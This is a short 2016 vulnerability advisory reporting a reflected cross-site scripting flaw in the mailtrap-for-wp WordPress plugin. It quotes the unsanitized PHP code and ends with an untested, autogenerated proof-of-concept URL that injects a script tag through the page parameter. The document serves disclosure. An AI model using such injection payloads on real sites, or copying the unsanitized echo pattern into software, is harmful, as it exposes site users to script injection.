Advisory #: 736
Title: Reflected XSS in wordpress plugin mailtrap-for-wp v0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/mailtrap-for-wp
Downloads: 170
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: mailtrap-for-wp
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./mailtrap-for-wp/includes/page-header.php: 4: <a href="<?php echo admin_url('options-general.php?page=mailtrap-settings'); ?>" class="nav-tab <?php echo $_GET['page'] == 'mailtrap-settings' ? 'nav-tab-active' : ''?>"><?php echo __( 'Account Settings', 'mailtrap-for-wp' ) ?></a> 5: <a href="<?php echo admin_url('admin.php?page=mailtrap-test'); ?>" class="nav-tab <?php echo $_GET['page'] == 'mailtrap-test' ? 'nav-tab-active' : ''?>"><?php echo __( 'Run a test', 'mailtrap-for-wp' ) ?></a> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./mailtrap-for-wp/includes/page-header.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/mailtrap-for-wp/includes/page-header.php?page="><script>alert(1);</script><"